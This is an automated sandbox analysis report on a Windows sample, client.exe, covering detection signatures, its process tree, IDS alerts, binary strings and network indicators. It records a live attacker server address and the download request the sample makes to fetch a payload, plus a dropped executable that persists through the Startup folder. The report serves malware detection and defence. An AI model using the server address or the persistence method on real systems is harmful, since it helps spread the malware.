Edit tour

Windows Analysis Report
client.exe

Overview

General Information

Sample name:	client.exe
Analysis ID:	1577318
MD5:	0367368930008d4a8a1e61dd36397276
SHA1:	eb322ba080daefc2c584fe0a5a313b09b0f410dd
SHA256:	510907f8ba688b4b58895856b9d3e920d671c4d9713188ab098cae2397ea5929
Tags:	18521511316185215113209bulletproofexeuser-abus3reports
Infos:

Detection

Score:	80
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

AI detected suspicious sample

Drops PE files to the startup folder

Machine Learning detection for sample

Uses known network protocols on non-standard ports

Binary contains a suspicious time stamp

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Detected TCP or UDP traffic on non-standard ports

Dropped file seen in connection with other malware

Drops PE files

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

PE file does not import any functions

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Startup Folder File Write

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64

client.exe (PID: 6472 cmdline: "C:\Users\user\Desktop\client.exe" MD5: 0367368930008D4A8A1E61DD36397276)

conhost.exe (PID: 7096 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

client.exe (PID: 432 cmdline: C:\Users\user\Desktop\client.exe MD5: B5712CB60C06909B9B4479AADD03FF9E)

cmd.exe (PID: 1680 cmdline: C:\Windows\system32\cmd.exe /c "latest.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

latest.exe (PID: 6152 cmdline: latest.exe MD5: 8E8D4E8C939EBAF71FB1A593B92ED618)

all.exe (PID: 1856 cmdline: C:\Users\user\Desktop\latest.exe MD5: 05B6254021999F744DF72E1EF9C57451)

latest.exe (PID: 4196 cmdline: "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe" MD5: 8E8D4E8C939EBAF71FB1A593B92ED618)

conhost.exe (PID: 6120 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

all.exe (PID: 760 cmdline: "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe" MD5: 05B6254021999F744DF72E1EF9C57451)

cleanup

Sigma Signatures

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\client.exe, ProcessId: 432, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

Suricata Signatures

ET MALWARE Suspected BPFDoor TCP Magic Packet (Inbound)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T11:41:20.874297+0100	2036752	1	A Network Trojan was detected	194.59.30.220	5000	192.168.2.5	49705	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Programs\Startup\latest.exe

ReversingLabs: Detection: 25%

Multi AV Scanner detection for submitted file

Source: client.exe	ReversingLabs: Detection: 55%
Source: client.exe	Virustotal: Detection: 70%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 95.9% probability

Machine Learning detection for sample

Source: client.exe

Joe Sandbox ML: detected

Source: client.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdb source: client.exe, 00000000.00000003.2084736627.0000017FEE197000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\python312.pdb source: client.exe, 00000000.00000003.2084736627.0000017FEDDDE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: k1k2k3X9_62_PENTANOMIALp.otherp.onBasisp.tpBasisp.ppBasismX9_62_CHARACTERISTIC_TWOp.primep.char_twofieldTypeX9_62_FIELDIDX9_62_CURVEfieldIDcurvebaseECPARAMETERSvalue.named_curvevalue.parametersvalue.implicitlyCAECPKPARAMETERSprivateKeyparameterspublicKeyEC_PRIVATEKEYec_asn1_group2fieldidcrypto\ec\ec_asn1.cec_asn1_group2curveEC_GROUP_get_ecparametersEC_GROUP_get_ecpkparametersEC_GROUP_new_from_ecparametersEC_GROUP_new_from_ecpkparametersi2d_ECPKParametersd2i_ECPrivateKeyi2d_ECPrivateKeyi2d_ECParametersd2i_ECParameterso2i_ECPublicKeyi2o_ECPublicKeycompiler: cl /Zi /Fdossl_static.pdb /MT /Zl /Gs0 /GF /Gy /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG"3.3.2built on: Tue Sep 3 19:22:24 2024 UTCplatform: VC-WIN64AOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-3"MODULESDIR: "C:\Program Files\OpenSSL\lib\ossl-modules"CPUINFO: N/Anot availablecrypto\init.cOPENSSL_init_cryptocrypto\bio\bio_lib.cBIO_new_exbio_read_internbio_write_internBIO_sendmmsgBIO_recvmmsgBIO_putsBIO_getsBIO_get_line BIO_ctrlBIO_callback_ctrlBIO_find_type source: client.exe, 00000000.00000003.2084736627.0000017FEE197000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\select.pdb source: client.exe, 00000000.00000003.2084736627.0000017FEE067000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\unicodedata.pdb source: client.exe, 00000000.00000003.2084736627.0000017FEE197000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\libcrypto-3.pdb\| source: client.exe, 00000000.00000003.2084736627.0000017FED85F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: cryptography_rust.pdbc source: client.exe, 00000000.00000003.2084736627.0000017FEE197000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\libssl-3.pdbDD source: client.exe, 00000000.00000003.2084736627.0000017FED998000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ossl_ec_GFp_simple_group_set_curvecrypto\ec\ecp_smpl.cossl_ec_GFp_simple_group_check_discriminantossl_ec_GFp_simple_point_set_affine_coordinatesossl_ec_GFp_simple_point_get_affine_coordinatesossl_ec_GFp_simple_make_affineossl_ec_GFp_simple_points_make_affineossl_ec_GFp_simple_field_invossl_ec_GFp_simple_blind_coordinatescrypto\buffer\buffer.cBUF_MEM_growBUF_MEM_grow_cleancompiler: cl /Zi /Fdossl_static.pdb /MT /Zl /Gs0 /GF /Gy /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG";CPUINFO: OPENSSL_ia32cap=0x%llx:0x%llxOPENSSL_ia32cap env:%sos-specific.dllCPUINFO: crypto\initthread.cOPENSSL_ia32cap` source: client.exe, 00000000.00000003.2084736627.0000017FEE197000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\opencv-python\opencv-python\_skbuild\win-amd64-3.9\cmake-build\lib\python3\Release\cv2.pdb source: latest.exe, 00000009.00000003.3264025249.000001893CECF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG"OpenSSL 3.0.15 3 Sep 20243.0.15built on: Wed Sep 4 15:52:04 2024 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-3"MODULESDIR: "C:\Program Files\OpenSSL\lib\ossl-modules"CPUINFO: N/Anot availableget_and_lock..\s\crypto\ex_data.cossl_crypto_get_ex_new_index_exossl_crypto_new_ex_data_exCRYPTO_dup_ex_dataCRYPTO_set_ex_dataOPENSSL_WIN32_UTF8..\s\crypto\getenv.ccompiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG";CPUINFO: OPENSSL_ia32cap=0x%llx:0x%llxOPENSSL_ia32cap env:%sos-specificC:\Program Files\Common Files\SSLC:\Program Files\OpenSSL\lib\ossl-modules.dllCPUINFO: ..\s\crypto\init.cOPENSSL_init_cryptoOPENSSL_atexit..\s\crypto\initthread.c..\s\crypto\mem_sec.cassertion failed: (bit & 1) == 0assertion failed: list >= 0 && list < sh.freelist_sizeassertion failed: ((ptr - sh.arena) & ((sh.arena_size >> list) - 1)) == 0assertion failed: bit > 0 && bit < sh.bittable_sizeassertion failed: TESTBIT(table, bit)assertion failed: !TESTBIT(table, bit)assertion failed: WITHIN_FREELIST(list)assertion failed: WITHIN_ARENA(ptr)assertion failed: temp->next == NULL \|\| WITHIN_ARENA(temp->next)assertion failed: (char *)temp->next->p_next == listassertion failed: WITHIN_FREELIST(temp2->p_next) \|\| WITHIN_ARENA(temp2->p_next)assertion failed: size > 0assertion failed: (size & (size - 1)) == 0assertion failed: (minsize & (minsize - 1)) == 0assertion failed: sh.freelist != NULLassertion failed: sh.bittable != NULLassertion failed: sh.bitmalloc != NULLassertion failed: !sh_testbit(temp, slist, sh.bitmalloc)assertion failed: temp != sh.freelist[slist]assertion failed: sh.freelist[slist] == tempassertion failed: temp-(sh.arena_size >> slist) == sh_find_my_buddy(temp, slist)assertion failed: sh_testbit(chunk, list, sh.bittable)assertion failed: WITHIN_ARENA(chunk)assertion failed: sh_testbit(ptr, list, sh.bittable)assertion failed: ptr == sh_find_my_buddy(buddy, list)assertion failed: ptr != NULLassertion failed: !sh_testbit(ptr, list, sh.bitmalloc)assertion failed: sh.freelist[list] == ptr/0123456789ABCDEFCRYPTO_memdup..\s\crypto\o_str.chexstr2buf_sepossl_hexstr2buf_sepbuf2hexstr_sepossl_buf2hexstr_sep..\s\crypto\packet.cwpacket_intern_init_lenWPACKET_start_sub_packet_len__..\s\crypto\param_build.cparam_pushparam_push_numOSSL_PARAM_BLD_push_BN_padNegative big numbers are unsupported for OSSL_PARAMOSSL_PARAM_BLD_push_utf8_stringOSSL_PARAM_BLD_push_utf8_ptrOSSL_PARAM_BLD_push_octet_stringOSSL_PARAM_BLD_p
Source:	Binary string: bcrypt_rust.pdb source: client.exe, 00000000.00000003.2084736627.0000017FEE197000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: client.exe, 00000000.00000003.2084736627.0000017FEE197000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: bcrypt_rust.pdbD source: client.exe, 00000000.00000003.2084736627.0000017FEE197000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG" source: client.exe, 00000000.00000003.2084736627.0000017FED7C7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: client.exe, 00000000.00000003.2084736627.0000017FEE197000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\libcrypto-3.pdb source: client.exe, 00000000.00000003.2084736627.0000017FED85F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: cryptography_rust.pdb source: client.exe, 00000000.00000003.2084736627.0000017FEE197000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\python3.pdb source: client.exe, 00000000.00000003.2084736627.0000017FED998000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdbGCTL source: client.exe, 00000000.00000003.2084736627.0000017FEE197000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\libssl-3.pdb source: client.exe, 00000000.00000003.2084736627.0000017FED998000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /MT /Zl /Gs0 /GF /Gy /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG" source: client.exe, 00000000.00000003.2084736627.0000017FEE197000.00000004.00000020.00020000.00000000.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2036752 - Severity 1 - ET MALWARE Suspected BPFDoor TCP Magic Packet (Inbound) : 194.59.30.220:5000 -> 192.168.2.5:49705

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49705

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 194.59.30.220:5000

Source: Joe Sandbox View

ASN Name: COMBAHTONcombahtonGmbHDE COMBAHTONcombahtonGmbHDE

Source: unknown	TCP traffic detected without corresponding DNS query: 194.59.30.220
Source: unknown	TCP traffic detected without corresponding DNS query: 194.59.30.220
Source: unknown	TCP traffic detected without corresponding DNS query: 194.59.30.220
Source: unknown	TCP traffic detected without corresponding DNS query: 194.59.30.220
Source: unknown	TCP traffic detected without corresponding DNS query: 194.59.30.220
Source: unknown	TCP traffic detected without corresponding DNS query: 194.59.30.220
Source: unknown	TCP traffic detected without corresponding DNS query: 194.59.30.220
Source: unknown	TCP traffic detected without corresponding DNS query: 194.59.30.220
Source: unknown	TCP traffic detected without corresponding DNS query: 194.59.30.220
Source: unknown	TCP traffic detected without corresponding DNS query: 194.59.30.220
Source: unknown	TCP traffic detected without corresponding DNS query: 194.59.30.220
Source: unknown	TCP traffic detected without corresponding DNS query: 194.59.30.220
Source: unknown	TCP traffic detected without corresponding DNS query: 194.59.30.220
Source: unknown	TCP traffic detected without corresponding DNS query: 194.59.30.220
Source: unknown	TCP traffic detected without corresponding DNS query: 194.59.30.220
Source: unknown	TCP traffic detected without corresponding DNS query: 194.59.30.220
Source: unknown	TCP traffic detected without corresponding DNS query: 194.59.30.220
Source: unknown	TCP traffic detected without corresponding DNS query: 194.59.30.220
Source: unknown	TCP traffic detected without corresponding DNS query: 194.59.30.220
Source: unknown	TCP traffic detected without corresponding DNS query: 194.59.30.220
Source: unknown	TCP traffic detected without corresponding DNS query: 194.59.30.220
Source: unknown	TCP traffic detected without corresponding DNS query: 194.59.30.220
Source: unknown	TCP traffic detected without corresponding DNS query: 194.59.30.220
Source: unknown	TCP traffic detected without corresponding DNS query: 194.59.30.220
Source: unknown	TCP traffic detected without corresponding DNS query: 194.59.30.220
Source: unknown	TCP traffic detected without corresponding DNS query: 194.59.30.220
Source: unknown	TCP traffic detected without corresponding DNS query: 194.59.30.220
Source: unknown	TCP traffic detected without corresponding DNS query: 194.59.30.220
Source: unknown	TCP traffic detected without corresponding DNS query: 194.59.30.220
Source: unknown	TCP traffic detected without corresponding DNS query: 194.59.30.220
Source: unknown	TCP traffic detected without corresponding DNS query: 194.59.30.220
Source: unknown	TCP traffic detected without corresponding DNS query: 194.59.30.220
Source: unknown	TCP traffic detected without corresponding DNS query: 194.59.30.220
Source: unknown	TCP traffic detected without corresponding DNS query: 194.59.30.220
Source: unknown	TCP traffic detected without corresponding DNS query: 194.59.30.220
Source: unknown	TCP traffic detected without corresponding DNS query: 194.59.30.220
Source: unknown	TCP traffic detected without corresponding DNS query: 194.59.30.220
Source: unknown	TCP traffic detected without corresponding DNS query: 194.59.30.220
Source: unknown	TCP traffic detected without corresponding DNS query: 194.59.30.220
Source: unknown	TCP traffic detected without corresponding DNS query: 194.59.30.220
Source: unknown	TCP traffic detected without corresponding DNS query: 194.59.30.220
Source: unknown	TCP traffic detected without corresponding DNS query: 194.59.30.220
Source: unknown	TCP traffic detected without corresponding DNS query: 194.59.30.220
Source: unknown	TCP traffic detected without corresponding DNS query: 194.59.30.220
Source: unknown	TCP traffic detected without corresponding DNS query: 194.59.30.220
Source: unknown	TCP traffic detected without corresponding DNS query: 194.59.30.220
Source: unknown	TCP traffic detected without corresponding DNS query: 194.59.30.220
Source: unknown	TCP traffic detected without corresponding DNS query: 194.59.30.220
Source: unknown	TCP traffic detected without corresponding DNS query: 194.59.30.220
Source: unknown	TCP traffic detected without corresponding DNS query: 194.59.30.220

Source: global traffic

HTTP traffic detected: GET /download HTTP/1.1Host: 194.59.30.220:5000User-Agent: python-requests/2.32.3Accept-Encoding: gzip, deflate, br, zstdAccept: */*Connection: keep-alive

Source: client.exe, 00000000.00000003.2084736627.0000017FECB50000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.2096108530.00007FF7E3963000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://.../back.jpeg
Source: client.exe, 00000000.00000003.2084736627.0000017FECB50000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000002.4543534385.0000019AB984C000.00000004.00001000.00020000.00000000.sdmp, client.exe, 00000003.00000000.2096108530.00007FF7E3963000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://194.59.30.220:5000/download
Source: client.exe, 00000000.00000003.2084736627.0000017FECB50000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.2096108530.00007FF7E3963000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://194.59.30.220:5000/downloadaurll
Source: client.exe, 00000000.00000003.2084736627.0000017FEE197000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000000.00000003.2084736627.0000017FED998000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000000.00000003.2084736627.0000017FEE067000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000000.00000003.2084736627.0000017FED910000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: client.exe, 00000000.00000003.2084736627.0000017FEE197000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000000.00000003.2084736627.0000017FED998000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000000.00000003.2084736627.0000017FEE067000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000000.00000003.2084736627.0000017FED910000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: client.exe, 00000000.00000003.2084736627.0000017FEE197000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000000.00000003.2084736627.0000017FED998000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000000.00000003.2084736627.0000017FEE067000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000000.00000003.2084736627.0000017FED910000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: client.exe, 00000000.00000003.2084736627.0000017FEE197000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000000.00000003.2084736627.0000017FED998000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000000.00000003.2084736627.0000017FEE067000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000000.00000003.2084736627.0000017FED910000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: latest.exe, 00000009.00000003.3264025249.000001893C653000.00000004.00000020.00020000.00000000.sdmp, latest.exe, 0000000A.00000003.3338794071.000001D896001000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://caffe.berkeleyvision.org
Source: latest.exe, 0000000A.00000003.3338794071.000001D896001000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://caffe.berkeleyvision.org/)
Source: latest.exe, 00000009.00000003.3264025249.000001893C653000.00000004.00000020.00020000.00000000.sdmp, latest.exe, 0000000A.00000003.3338794071.000001D896001000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://campar.in.tum.de/Chair/HandEyeCalibration).
Source: client.exe, 00000000.00000003.2084736627.0000017FECB50000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.2096108530.00007FF7E3963000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://code.activestate.com/recipes/577452-a-memoize-decorator-for-instance-methods/
Source: client.exe, 00000003.00000002.4544353717.0000019AB9D92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: client.exe, 00000003.00000002.4543808386.0000019AB98D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/COMODOCertificationAuthority.crl
Source: client.exe, 00000000.00000003.2084736627.0000017FEE197000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000000.00000003.2084736627.0000017FED998000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000000.00000003.2084736627.0000017FEE067000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000000.00000003.2084736627.0000017FED910000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: client.exe, 00000000.00000003.2084736627.0000017FEE197000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000000.00000003.2084736627.0000017FED998000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000000.00000003.2084736627.0000017FEE067000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000000.00000003.2084736627.0000017FED910000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: client.exe, 00000000.00000003.2084736627.0000017FEE197000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000000.00000003.2084736627.0000017FED998000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000000.00000003.2084736627.0000017FEE067000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000000.00000003.2084736627.0000017FED910000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: client.exe, 00000000.00000003.2084736627.0000017FED910000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: client.exe, 00000000.00000003.2084736627.0000017FEE197000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000000.00000003.2084736627.0000017FED998000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000000.00000003.2084736627.0000017FEE067000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000000.00000003.2084736627.0000017FED910000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: client.exe, 00000000.00000003.2084736627.0000017FECB50000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000002.4543534385.0000019AB984C000.00000004.00001000.00020000.00000000.sdmp, client.exe, 00000003.00000000.2096108530.00007FF7E3963000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://curl.haxx.se/rfc/cookie_spec.html
Source: client.exe, 00000000.00000003.2084736627.0000017FECB50000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000002.4544353717.0000019AB9D26000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.2096108530.00007FF7E3963000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://google.com/
Source: client.exe, 00000000.00000003.2084736627.0000017FECB50000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000002.4544353717.0000019AB9DA7000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.2096108530.00007FF7E3963000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://google.com/mail/
Source: client.exe, 00000000.00000003.2084736627.0000017FECB50000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000002.4543808386.0000019AB98D8000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.2096108530.00007FF7E3963000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://hg.python.org/cpython/file/603b4d593758/Lib/socket.py#l535
Source: latest.exe, 00000009.00000003.3264025249.000001893C653000.00000004.00000020.00020000.00000000.sdmp, latest.exe, 0000000A.00000003.3338794071.000001D896001000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://homepages.inf.ed.ac.uk/rbf/HIPR2/hough.htm
Source: client.exe, 00000003.00000002.4544353717.0000019AB9D92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.accv.es
Source: client.exe, 00000003.00000002.4544353717.0000019AB9D92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.accv.es5
Source: client.exe, 00000000.00000003.2084736627.0000017FEE197000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000000.00000003.2084736627.0000017FED998000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000000.00000003.2084736627.0000017FEE067000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000000.00000003.2084736627.0000017FED910000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: client.exe, 00000000.00000003.2084736627.0000017FEE197000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000000.00000003.2084736627.0000017FED998000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000000.00000003.2084736627.0000017FEE067000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000000.00000003.2084736627.0000017FED910000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: client.exe, 00000000.00000003.2084736627.0000017FEE197000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000000.00000003.2084736627.0000017FED998000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000000.00000003.2084736627.0000017FEE067000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000000.00000003.2084736627.0000017FED910000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: client.exe, 00000000.00000003.2084736627.0000017FEE197000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000000.00000003.2084736627.0000017FED998000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000000.00000003.2084736627.0000017FEE067000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000000.00000003.2084736627.0000017FED910000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: client.exe, 00000003.00000002.4544353717.0000019AB9DA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://repository.swisssign.com/
Source: client.exe, 00000000.00000003.2084736627.0000017FECB50000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.2096108530.00007FF7E3963000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://speleotrove.com/decimal/decarith.html
Source: client.exe, 00000000.00000003.2084736627.0000017FECB50000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.2096108530.00007FF7E3963000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://tools.ietf.org/html/rfc6125#section-6.4.3
Source: latest.exe, 00000009.00000003.3264025249.000001893C653000.00000004.00000020.00020000.00000000.sdmp, latest.exe, 0000000A.00000003.3338794071.000001D896001000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://torch.ch
